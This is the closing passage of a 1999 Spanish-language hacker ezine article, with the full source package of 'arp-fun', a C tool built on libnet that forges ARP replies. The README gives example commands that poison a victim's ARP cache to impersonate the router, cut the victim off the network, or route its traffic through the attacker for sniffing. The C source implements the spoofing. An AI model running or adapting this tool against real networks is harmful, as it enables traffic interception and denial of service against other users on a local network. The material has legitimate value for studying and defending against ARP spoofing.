THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND

ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE

IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE

ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE

FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL

DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS

OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)

HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT

LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY

OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF

SUCH DAMAGE.

 

EOF

<-->

<++> arp-fun/Makefile !6460edb6

all: arp-fun

arp-fun:

(cd src; make)

clean:

(cd src; make clean)

install:

(cd src; make install)

<-->

<++> arp-fun/README !f3d6f19b

Arp Fun (c) ulandron

1999

-------

1 - Introduccion

2 - Funcionamiento

3 - Instalacion

 

Requiere:

Libnet 0.99g

http://www.packetfactory.net/libnet/

Libpcap 0.4

ftp://ftp.ee.lbl.gov/libpcap.tar.Z

Compiled: Linux 2.3.15

Linux 2.2.5-15

Linux 2.2.12

OpenBSD 2.5

1. Introduccion

El fin de este programa era consolidar mis conocimientos con las libnet,

(http://www.packetfactory.net/libnet/), juntando un poco de codigo para un

texto que estaba realizando con Posidon. En principio solo tenia que mandar

paquetes con la mac y la ip de la maquina en la que se ejecuta, a un host

X para sobreescribir su cache y asi poder hacerle creer que somos el

router etc etc etc. Pero poco a poco le he ido aņadiendo caracteristicas,

ya que esto con las libnet es coser y cantar. Y espero seguir aņadiendole

mas y mas.

############################################################################

############################################################################

2. Funcionamiento

El funcionamiento del programa es muy simple. En la linea de comandos le

suministras un minimo de parametros, hasta un maximo de 9 por ahora.

Por ahora solo hay un parametro obligatorio:

-d dest_ip; Ip a la que van destinados los arp reply que enviamos /

forjamos.

 

Luego existen una serie de parametros opcionales:

-m dest_mac; Direccion mac del host destino. XX:XX:XX:XX:XX:XX.

Si se omite el programa intentara obtenerla

automaticamente. Esto puede fallar por varias razones.

Si tarda mucho en resolverla habra que especificarla a

mano. Si le metiera un timeout esto no haria falta.

-i interface; Se le suministra la interfaz por la que van a salir las

tramas. Ej: eth0, xl0, ne3....

Si se omite el programa escogera automaticamente la

primera interfaz disponible, exceptuando la loopback

-c count; Numero de paquetes identicos a enviar. Mas abajo se puede

especificar un intervalo, si se omite se mandaran lo mas

rapido posible. Rango valido de 1 a 100.

-s source_ip; Ip fuente que aparece en el arp reply. Si se omite se

usara la ip asociada a la tarjeta de red.

-a source_mac; Esto es un dilemma. En principio deberia asignar la mac

que se le indica aqui tanto al paquete arp como a la mac

de origen del ether. Pero, como ya lo indica la

documentacion de las libnet, esto no funciona en algunos

sistemas operativos, por lo que habra que parchear el

kernel, con el parche que incluyen las libnet.

-v Modo "verbose". Da un poco mas de detalle. Para mas

detalle compilar con -DDEBUG

-x seconds Tiempo que transcurre entre el envio de cada paquete.

-V Version. Imprime la version del programa.

-h Ayuda. Imprime una ayuda abreviada.

Ejemplos:

Boot:/ # arp-fun -i eth0 -s 192.168.1.1 -a AA:AB:AC:AD:AE:AF \

-d 192.168.1.4 -m 52:54:AB:21:B6:07 -v -c 2

Sending 2 packets

Source ip: Rewter.See

Everything fine, 'til now. Let's build the packet

Looks nice, huh:

00 5452 21ab 07b6 abaa adac afae 0608 0100

10 0008 0406 0200 abaa adac afae a8c0 0101

20 5452 21ab 07b6 0104 c0a8

Sent packet 1, waiting 0 seconds

Sent packet 2, waiting 0 seconds

Aqui envio 2 paquetes como mi router, a una maquina de mi subred,

192.168.1.4, enviandole una MAC completamente aleatoria, con lo que

imediatamente pierde conectividad. Poco interes.

Boot:/ # arp-fun -i eth0 -m 52:54:AB:21:B6:07 -d 192.168.1.4 -s

192.168.1.1 -c 2 -v

Sending 2 packets

Source ip: Rewter.See

Everything fine, 'til now. Let's build the packet

Looks nice, huh:

00 5452 21ab 07b6 03e2 b622 8201 0608 0100

10 0008 0406 0200 03e2 b622 8201 a8c0 0101

20 5452 21ab 07b6 0104 c0a8

Sent packet 1, waiting 0 seconds

Sent packet 2, waiting 0 seconds

 

En esta ocasion le envio 2 paquetes a la misma maquina de antes,

haciendole creer que yo soy el router. Para ello le envio mi MAC, y la

192.168.1.1, que es del router, pero que ahora tambien me la he asignado

yo mediante un alias a la ethernet (esto solo se hacerlo en linux, alguna

arquitectura mas ?):

Boot:/ # ifconfig eth0:0 192.168.1.1 netmask 255.255.255.0 up

Boot:/ # ifconfig eth0:0

eth0:0 Link encap:10Mbps Ethernet HWaddr E2:03:22:B6:01:82

inet addr:192.168.1.1 Bcast:192.168.1.255 Mask:255.255.255.0

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:0 errors:0 dropped:0 overruns:0

TX packets:0 errors:0 dropped:0 overruns:0

Interrupt:9 Base address:0x6100

Ahora activando el forward en el kernel, y aņadiendole una ruta puede

hacer que los paquetes del 192.168.1.4, por ejemplo, pasen por mi. En

redes que no permiten poner la interfaz en modo promiscuo esto es una

buena solucion para capturar el trafico en red. Eso si, llama mucho la

atencion.

Esto tambien es posible con openbsd 2.5, mediante la siguiente opcion:

# ifconfig xl0 alias 192.168.1.1 netmask 255.255.255.255

Le aņado una mask de todo 1's porque si no en openbsd da el siguiente

error: ifconfig:SIOCAIFADDR: File exists.

El resto es muy similar a linux, aunque la sintaxis del comando route(8),

por ejemplo, cambia un poco.

Para mas informacion sobre el tema remito al texto que mencione arriba.

############################################################################

############################################################################

3. Instalacion

Requiere solamente la unistd.h, para getopt() y sleep(). Todo

lo demas deberia ser completamente funcional en cualquier plataforma que

soporte libnet.

Lo he compilado en linux (2.3.15) y OpenBSD 2.5 con diversos parches.

Funciona correctamente en ambos.

Deberia compilar sin tener que retocar nada, da errores todavia pero

funciona.

make; make install;

<-->

<++> arp-fun/TODO !0eb04efa

* Good documentation

* Learn how to write clean code

* Perhaps a GUI ? /* Not really... */

* Better Documentation

* General code cleanup

* Network map mode

* Fix those 100 compiling errors /* now 130 */

* Configure script

<-->

<++> arp-fun/bin/.placeholder !aa0bf2cd

.

<-->

<++> arp-fun/src/Makefile !285ee2fd

CFLAGS= -O2 -g

CC=gcc

LIBNET_DEFINES=`libnet-config --defines`

LIBNET_LIBS=`libnet-config --libs`

INSTALL-DIR = /usr/local/bin/

MAN-DIR = /usr/local/man/man1/

INSTALL = install

SOURCES = arp-fun.c trans.c misc.c

OBJECTS = arp-fun.o trans.o misc.o

all: arp-fun move

@echo " *** Compilacion finalizada"

@echo " Por favor lee el README adjunto"

@echo " "

move:

@mv arp-fun ../bin/

arp-fun: all-obj

gcc $(OBJECTS) -o $@ $(LIBNET_LIBS) -lpcap

install:

$(INSTALL) -c -m 0755 ../bin/arp-fun $(INSTALL-DIR)

$(INSTALL) -c -m 0644 arp-fun.1 $(MAN-DIR)

clean:

rm -f arp-fun *.o *~

all-obj:

gcc $(LIBNET_DEFINES) $(CFLAGS) -c $(SOURCES)

<-->

<++> arp-fun/src/arp-fun.1 !3cea2439

.\" This definition swiped from the gcc(1) man page

.de Sp

.if n .sp

.if t .sp 0.4

..

.TH ARP-FUN 1

.SH NAME

.B Arp Fun

\- Libnet Tool for Arp handling

.SH SYNOPSIS

.B arp-fun -d <dstip> [options]

.SH DESCRIPTION

.B Arp Fun

is aimed at handling various types of arp packets, although at the

moment it can only handle arp replys, enough for the project I was

researching with a friend

.SH OPTIONS

.B Arp Fun

requires at least one command line options:

.Sp

.B \-d

Dest IP.

.Sp

Extra options, not mandatory:

.Sp

.B \-m remote_mac.

Specify if arp-fun is unable to resolve.

.Sp

.B \-i Interface.

Use this interface.

.Sp

.B \-c Count

Send this many packets.

.Sp

.B \-s Source IP

Spoof an Arp reply from this IP

.Sp

.B \-a Source Mac

Spoof an Arp reply using this MAC

.Sp

.B \-v

Verbose mode; makes everything a little more verbose. Recommended

.Sp

.B \-x Seconds

Interval to be used between each packet

.Sp

.B \-V

Print out version and exit

.Sp

.SH COMMON USES

Experience will show, hope this helps somebody, I would be glad to hear

your comments.

.SH BUGS

I'm sure there are lots of them, and there is many room for

improvementent.

.SH AUTHOR

Ulandron

.I <ulandron@undersec.com>

.SH DISTRIBUTION

The newest version of

.B Arp Fun

can be obtained from

.I <http://www.undersec.com/members/ulandron/index.shtml>

.Sp

.B Arp Fun

is (C) 1999 by ulandron (ulandron@undersec.com)

This manpage was originally from zhodiac's logit, I am to lazy to build up

a new one from ground up. Thanks man.

.Sp

This program is free software, you can redistribute it and/or modify

it under the terms of the GNU General Public License as published by

the Free Software Foundation (Version 2).

.Sp

This program is distributed WITHOUT ANY WARRANTY. See the GNU General

Public License for more details (it is in the COPYING file of the

.B Arp Fun

distribution).

<-->

<++> arp-fun/src/arp-fun.c !f16ce9b8

/* Arp fun, first non-public release. Try to demonstrate how easy

* it is to play with arp's.

*

* String to Hw addr translation borrowed from:

* ARPTool v0.1, (c) Cristiano Lincoln Mattos,

* 1999 - <lincoln@hotlink.com.br>

*

* Libnet is grrrrrreat ! thank's route.

*

* Stevens R.I.P., thank's TCP/IP Illustrated I,II,III.

*

* Have lot's of fun !!

*

* (c) 1999 ulandron.

*

*/

#include "arp-fun.h"

#include "get_mac.h"

int libnet_do_arp(struct link_int *, u_char *, struct ether_addr *, u_long, char *);

unsigned char *str_to_hwaddr (char *str);

unsigned int hexstr_to_int (char *cptr);

void usage (char *name);

int

main (int argc, char **argv)

{

int c, nbytes, count = 1, verbose = FALSE;

u_int secs = 0;

u_char *pkt, ebuf[BUFSIZ];

struct sockaddr_in local;

struct libnet_link_int *link; /* Our requested IF */

u_char *dev = NULL; /* Interface we wanna use */

u_long dst_ip = 0; /* Victims ip */

u_long src_ip = 0; /* Our ip */

struct ether_addr *local_mac = NULL;

struct ether_addr *remote_mac = NULL;

struct ether_addr e;

char joder[20];

 

if (getuid () || geteuid ())

{

printf

("Hmm, I think you need rewt privileges to open a link interface\n");

exit (1);

}

/* Oh my GOD, they killed kenny !!!!! */

while ((c = getopt (argc, argv, "x:hvVi:c:d:s:m:a:")) != EOF)

{

switch (c)

{

case 'V':

printf("Arp-fun (c) 1999 ulandron, Version: %s\n", VERSION);

exit(0);

break;

case 'h':

usage(argv[0]);

break; // Heh

case 'x':

secs = atoi (optarg);

break;

case 'v':

verbose = TRUE;

break;

case 'i':

dev = optarg;

break;

case 'c':

count = atoi (optarg);

break;

case 'd':

dst_ip = libnet_name_resolve (optarg, 0);

if (!dst_ip)

{

perror ("libnet_name_resolve");

exit (-1);

}

break;

case 's':

src_ip = libnet_name_resolve (optarg, 0);

if (!src_ip)

{

perror ("libnet_name_resolve");

exit (-1);

}

break;

case 'm':

remote_mac = (struct ether_addr *) str_to_hwaddr (optarg);

break;

case 'a':

local_mac = (struct ether_addr *) str_to_hwaddr (optarg);

break;

default:

exit (-1);

}

}

if (count < 1 || count > 100 || (!dst_ip) )// || (remote_mac == NULL))

{

usage (argv[0]);

}

if (verbose)

printf ("Attempting to send %d packets\n", count);

if ((libnet_init_packet (ARP_H + ETH_H, &pkt)) == -1)

{

perror ("libnet_init_packet");

exit (-1);

}

if (dev == NULL)

{

memset ((char *) &local, 0, sizeof (struct sockaddr_in));

local.sin_family = AF_INET;

local.sin_port = htons (0);

local.sin_addr.s_addr = INADDR_ANY;

if (

(libnet_select_device

((struct sockaddr_in *) &local, (u_char *)&dev, ebuf)) == -1)

{

fprintf (stderr, "libnet_select_device:%s\n", ebuf);

exit (-1);

}

}

if (

(link = (struct libnet_link_int *) libnet_open_link_interface (dev,

ebuf)) == NULL)

{

fprintf (stderr, "libnet_open_link_interface: %s\n", ebuf);

exit (-1);

}

#ifdef DEBUG

printf ("Successfully open: %s\n", dev);

#endif

/* Can't happen at this moment, still working on this */

/* Perhaps fork this one ? */

/* How do I get back the mac ? pipes ? */

if(remote_mac == NULL){

c = libnet_do_arp(link,dev, &e, dst_ip, joder);

if(c == -1){

printf("There could be an error getting remote mac, please specify with -m\n");

}

remote_mac = (struct ether_addr *) str_to_hwaddr(joder);

}

if (!src_ip)

{

src_ip = htonl (libnet_get_ipaddr (link, dev, ebuf));

 

#ifdef DEBUG

printf ("Source ip got from %s: %s\n",

dev, libnet_host_lookup (src_ip, 0));

#endif

if (!src_ip)

{

fprintf (stderr, "libnet_get_ipaddr: %s\n", ebuf);

exit (-1);

}

}

 

if (verbose)

printf ("Source ip: %s\n", (libnet_host_lookup (src_ip, 1)));

 

if (local_mac == NULL)

{

 

if (

(local_mac =

(struct ether_addr *) libnet_get_hwaddr (link, dev, ebuf)) == NULL)

{

fprintf (stderr, "libnet_get_hwaddr: %s\n", ebuf);

exit (-1);

}

}

printf ("Everything fine, 'til now. Let's build the packet\n");

 

libnet_build_ethernet (remote_mac,

local_mac,

ETHERTYPE_ARP, /* Our packet will contain ARP info */

NULL, /* No extra payload */

0, pkt); /* Allocated mem for packet */

 

libnet_build_arp (ARPHRD_ETHER, /* Address format */

ETHERTYPE_IP, /* Protocol format */

ETHER_ADDR_LEN, /* HW len */

0x4, /* Prot len */

ARPOP_REPLY, /* Op, Arp reply */

local_mac, /* My HW addr */

(u_char *) & src_ip,/* Our IP == Router's IP */

remote_mac, /* Yer HW */

(u_char *) &dst_ip,/* Poor fool */

NULL, /* Opt payload */

0, /* sizeof(payload) */

pkt + ETH_H);

if (verbose)

{

printf ("Looks nice, huh:");

libnet_hex_dump (pkt, ETH_H + ARP_H, 0, stdout);

}

for (c = 0; c < count; c++)

{

 

if ((nbytes = libnet_write_link_layer (link, dev, pkt, ARP_H + ETH_H)) <

0)

{

perror ("write link");

exit (-1);

}

 

if (secs)

sleep (1);

 

printf ("Sent packet %d, waiting %d seconds\n", c + 1, secs);

 

}

 

if ((libnet_close_link_interface (link)) == -1)

{

perror ("close link");

exit (-1);

}

 

libnet_destroy_packet (&pkt);

if (!verbose)

printf ("Packet sent, memory freed, link closed; see ya!\n");

exit (0);

}

<-->

<++> arp-fun/src/arp-fun.h !5cadd602

#include <libnet.h>

#include <unistd.h>

#include <pcap.h>

#define TRUE 1

#define FALSE 0

#define VERSION "v0.2"

#define MAX_CAPSIZ 4096

<-->

<++> arp-fun/src/get_mac.h !89b4dbe5

/*

* $Id: get_mac.c,v 1.2 1999/05/05 02:40:22 route Exp $

*

* libnet

* get_mac.c - get the MAC address of a remote host

*

* Copyright (c) 1998, 1999 Mike D. Schiffman <mike@infonexus.com>

* route|daemon9 <route@infonexus.com>

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without

* modification, are permitted provided that the following conditions

* are met:

* 1. Redistributions of source code must retain the above copyright

* notice, this list of conditions and the following disclaimer.

* 2. Redistributions in binary form must reproduce the above copyright

* notice, this list of conditions and the following disclaimer in the

* documentation and/or other materials provided with the distribution.

*

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND

* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE

* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE

* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE

* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL

* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS

* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)

* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT

* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY

* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF

* SUCH DAMAGE.

*

*/

#include <libnet.h>

#include <pcap.h>

#define IP_UCHAR_COMP(x, y) \

(x[0] == y[0] && x[1] == y[1] && x[2] == y[2] && x[3] == y[3])

 

u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};

int libnet_do_arp(struct link_int *, u_char *, struct ether_addr *, u_long, char*);

int

libnet_do_arp(struct link_int *l, u_char *device, struct ether_addr *e,

u_long ip, char *joder)

{

int n, i;

u_char *buf, errbuf[256], *packet, *ip_p;

struct libnet_ethernet_hdr *p;

struct libnet_arp_hdr *a;

u_long local_ip;

pcap_t *pd;

struct pcap_pkthdr pc_hdr;

 

/*

* Initialize a packet.

*/

if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1)

{

perror("libnet_init_packet memory:");

exit(EXIT_FAILURE);

}

/*

* Get the ethernet address of the device.

*/

e = libnet_get_hwaddr(l, device, errbuf);

if (e == NULL)

{

fprintf(stderr, "libnet_get_hwaddr: %s\n", errbuf);

return (-1);

}

/*

* Get the IP address of the device.

*/

local_ip = htonl(libnet_get_ipaddr(l, device, errbuf));

if (!local_ip)

{

fprintf(stderr, "libnet_get_ipaddr: %s\n", errbuf);

return (-1);

}

/*

* Open the pcap device.

*/

pd = pcap_open_live(device, ARP_H + ETH_H, 1, 500, errbuf);

if (pd == NULL)

{

fprintf(stderr, "pcap_open_live: %s\n", errbuf);

return (-1);

}

/*

* Ethernet header

*/

libnet_build_ethernet(

enet_dst, /* broadcast ethernet address */

e->ether_addr_octet, /* source ethernet address */

ETHERTYPE_ARP, /* this frame holds an ARP packet */

NULL, /* payload */

0, /* payload size */

buf); /* packet header memory */

/*

* ARP header

*/

libnet_build_arp(

ARPHRD_ETHER, /* hardware address type */

ETHERTYPE_IP, /* protocol address type */

ETHER_ADDR_LEN, /* hardware address length */

4, /* protocol address length */

ARPOP_REQUEST, /* packet type - ARP request */

e->ether_addr_octet, /* source (local) ethernet address */

(u_char *)&local_ip, /* source (local) IP address */

enet_dst, /* target's ethernet address (broadcast) */

(u_char *)&ip, /* target's IP address */

NULL, /* payload */

0, /* payload size */

buf + ETH_H); /* packet header memory */

n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H);

if (n == -1)

{

fprintf(stderr, "libnet_write_link_layer choked\n");

return (-1);

}

printf("Sent a %d byte ARP request looking for the MAC of %s.\n",

n, host_lookup(ip, 0));

printf("Waiting for a response...\n");

for (;(packet = ((u_char *)pcap_next(pd, &pc_hdr)));)

{

p = (struct libnet_ethernet_hdr *)(packet);

if (ntohs(p->ether_type) == ETHERTYPE_ARP)

{

a = (struct libnet_arp_hdr *)(packet + ETH_H);

if (ntohs(a->ar_op) == ARPOP_REPLY)

{

ip_p = (u_char *)&ip;

if (IP_UCHAR_COMP(a->ar_spa, ip_p))

{

printf("Got target hardware address: ");

strncpy(joder,hwaddr_to_str(a->ar_sha), 18);

for (i = 0; i < 6; i++)

{

printf("%x", a->ar_sha[i]);

if (i != 5)

{

printf(":");

}

}

printf("\n");

libnet_destroy_packet(&buf);

return 0;

}

}

}

}

libnet_destroy_packet(&buf);

return (n);

}

/* EOF */

<-->

<++> arp-fun/src/misc.c !74f61a23

#include "arp-fun.h"

void usage(char *name);

void

usage (char *name)

{

printf ("\tArp fun %s\t (c) 1999 Ulandron\n", VERSION);

printf ("Usage:\n\n");

printf ("%s -d dest_ip\n\n", name);

printf ("Available arguments.\n");

printf ("-------------------\n");

printf ("\t -i interface Interface to use to send out arp's\n\n");

 

printf ("\t -s source_ip Your Ip address; Address to fake\n");

printf ("\t -d dest_ip IP address of victim\n");

printf ("\t -a source_mac Spoof MAC, if possible (See README)\n");

printf ("\t -m dest_mac Destination Mac Address\n\n");

 

printf ("\t -c count Number of times to send packet (1-100)\n");

printf ("\t -v Verbose mode\n");

printf ("\t -x seconds Sleep() interval between packets\n");

printf ("\t -V Prints Version number and exits\n");

printf ("\t -h This help\n");

printf ("\n");

exit (1);

}

<-->

<++> arp-fun/src/trans.c !765ea8b6

 

extern unsigned char *str_to_hwaddr (char *str);

extern unsigned int hexstr_to_int (char *cptr);

char * hwaddr_to_str (unsigned char * str);

char * ipaddr_to_str (unsigned char * str);

unsigned char *

str_to_hwaddr (char *str)

{

unsigned char tmp[2], strbuf[17], t[2];

static unsigned char *buf, *tt;

int e, i;

 

buf = (unsigned char *) malloc (6);

bzero (t, 2);

bzero (tmp, 2);

bzero (strbuf, 17);

bzero (buf, 6);

strncpy (strbuf, str, 17);

strbuf[17] = '\0';

tt = buf;

 

e = 0;

for (i = 0; i < strlen (strbuf); i++)

{

if ((strbuf[i] == ':') && (e == 0))

continue;

tmp[e] = strbuf[i];

e++;

if (e == 2)

{

unsigned int a;

a = hexstr_to_int (tmp);

memcpy (tt, &a, 1);

tt++;

bzero (tmp, 2);

e = 0;

}

}

return buf;

}

unsigned int

hexstr_to_int (char *cptr)

{

unsigned int i, j = 0;

 

while (cptr && *cptr && isxdigit (*cptr))

{

i = *cptr++ - '0';

if (9 < i)

i -= 7;

j <<= 4;

j |= (i & 0x0f);

}

return (j);

}

char * hwaddr_to_str (unsigned char * str) {

static char tmp[20];

sprintf(tmp,

"%02X:%02X:%02X:%02X:%02X:%02X",

str[0],str[1],str[2],str[3],str[4],str[5]);

return tmp;

}

char * ipaddr_to_str (unsigned char * str) {

static char tmp[20];

sprintf(tmp,

"%u.%u.%u.%u",

str[0],str[1],str[2],str[3]);

 

return tmp;

}

<-->

 

9.- Despedida.

Bueno, y esto llega a su fin. Tengo que darle las gracias a ulandron

porque sin el no hubiera sido posible la realizacion de este articulo, thx

ulan ;).

Tambien aprovecho para mandar un saludo a toda la peņa de Netsearch, en

especial a dark, gamerx, sp4rk (sigues vivo?), paradigma, y bueno.. a toda

la peņa en general :), y otro saludo para la peņa del #hacker_novatos ;).

Nos vemos en el siguiente articulo del siguiente numero del NetSearch

Ezine, byes.

Posidon

-------------------

Ha sido un placer trabajar en este tema contigo Posidon, gracias por todo lo

que me has hecho aprender en estos ultimos dias.

Las libnet son una maravilla, sin ellas el programa habria significado el

doble de trabajo y no habria sido ni la mitad de portable.

Sin Stevens y sus Tcp/ip illustrated esto no tendria ninguna gracia. Me

entristece mucho saber que no escribira mas para nosotros.

No quiero nombrar a gente a la que tengo que agradecer cosas porque esto

no acabaria. Ellos saben quienes son y les doy las gracias.

Ulandron

ulandron@undersec.com